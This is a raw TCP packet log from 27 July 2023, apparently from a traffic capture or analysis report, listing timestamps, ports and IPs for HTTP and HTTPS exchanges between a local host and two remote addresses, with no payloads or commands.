Jul 27, 2023 18:26:51.743145943 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.743185997 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.743210077 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.743232012 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.743254900 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.743277073 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.743300915 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.743328094 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.743336916 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.743366957 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.743405104 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.795003891 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.795073986 CEST	443	49699	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:51.795197964 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.812783003 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.812843084 CEST	443	49699	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:51.868741035 CEST	443	49699	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:51.868812084 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.879776955 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.879812956 CEST	443	49699	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:51.880212069 CEST	443	49699	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:51.880312920 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.882671118 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.924303055 CEST	443	49699	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:51.928945065 CEST	443	49699	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:51.929030895 CEST	443	49699	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:51.929029942 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.929080963 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.965188980 CEST	49699	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:26:51.965231895 CEST	443	49699	162.0.217.254	192.168.2.4
Jul 27, 2023 18:26:51.986370087 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986422062 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986450911 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986471891 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.986509085 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986536026 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986562014 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986578941 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.986599922 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986624002 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.986635923 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986663103 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986679077 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.986699104 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986725092 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986741066 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.986763954 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986789942 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986816883 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986846924 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986854076 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.986888885 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:51.986902952 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:51.986946106 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.230083942 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230194092 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230242014 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230293036 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.230324030 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230377913 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230392933 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.230436087 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230489969 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230504036 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.230549097 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230593920 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.230612040 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230659008 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230727911 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230741978 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.230788946 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230834961 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.230856895 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230902910 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.230947018 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.230966091 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231010914 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231061935 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231076956 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.231118917 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231163025 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231214046 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231228113 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.231271982 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231291056 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.231347084 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231394053 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.231410027 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231456041 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231506109 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231523037 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.231574059 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231625080 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231638908 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.231683969 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231729031 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.231746912 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231796980 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231848955 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231862068 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.231905937 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.231952906 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.475065947 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475136995 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475187063 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475254059 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475301981 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475348949 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475395918 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475440979 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475487947 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475533962 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475579977 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475625038 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475672007 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475718021 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475776911 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475828886 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475876093 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475919962 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.475965977 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476012945 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476057053 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476104021 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476151943 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476197958 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476243973 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476311922 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476357937 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476404905 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476453066 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476500034 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476546049 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476591110 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476635933 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476682901 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476727962 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476773977 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476824999 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476870060 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476916075 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.476963043 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477001905 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477047920 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477093935 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477142096 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477188110 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477233887 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477279902 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477327108 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477372885 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477418900 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477464914 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.477510929 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.485013962 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.485013962 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.727952003 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728025913 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728075027 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728100061 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.728120089 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728167057 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728174925 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.728212118 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728257895 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728286982 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.728328943 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728374004 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728384018 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.728420019 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728466034 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728468895 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.728513002 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728558064 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728564024 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.728626966 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728673935 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728684902 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.728720903 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728766918 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728770018 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.728812933 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728862047 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728863001 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.728908062 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728954077 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.728959084 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729000092 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729043961 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729083061 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729115963 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729162931 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729176044 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729211092 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729259014 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729259968 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729306936 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729355097 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729356050 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729403019 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729449034 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729450941 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729496002 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729541063 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729542971 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729588032 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729634047 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729671001 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729680061 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729727030 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729738951 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729773998 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729820967 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729825020 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729871035 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729918003 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.729919910 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.729964972 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730010033 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.730012894 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730060101 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730109930 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730154991 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730158091 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.730201960 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730204105 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.730240107 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730283976 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730290890 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.730329990 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730376005 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.730382919 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.953105927 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.973495007 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.973566055 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.973613024 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.973661900 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.973697901 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.973710060 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.973756075 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.973757982 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.973807096 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.973858118 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.973858118 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.973905087 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.973906994 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.973956108 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974004030 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974047899 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974054098 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974096060 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974102020 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974147081 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974195004 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974241018 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974245071 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974286079 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974287033 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974334955 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974380016 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974426031 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974428892 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974467993 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974474907 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974524021 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974570036 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974616051 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974620104 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974661112 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974664927 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974713087 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974760056 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974806070 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974812984 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974855900 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.974858046 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974905968 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974952936 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.974960089 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.975001097 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975047112 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975094080 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975100040 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.975141048 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975142002 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.975188017 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975236893 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975282907 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975297928 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.975330114 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975336075 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.975377083 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975423098 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975470066 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975476980 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.975512028 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.975516081 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975564003 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975610971 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975656986 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975666046 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.975703001 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975704908 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:52.975752115 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975799084 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:52.975860119 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.196405888 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.218699932 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.218770027 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.218820095 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.218871117 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.218919039 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.218920946 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.218967915 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.218977928 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.218991041 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219017029 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219064951 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219073057 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219113111 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219161987 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219208956 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219223976 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219258070 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219264030 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219310045 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219357967 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219404936 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219414949 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219453096 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219464064 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219501972 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219547987 CEST	80	49698	211.171.233.129	192.168.2.4
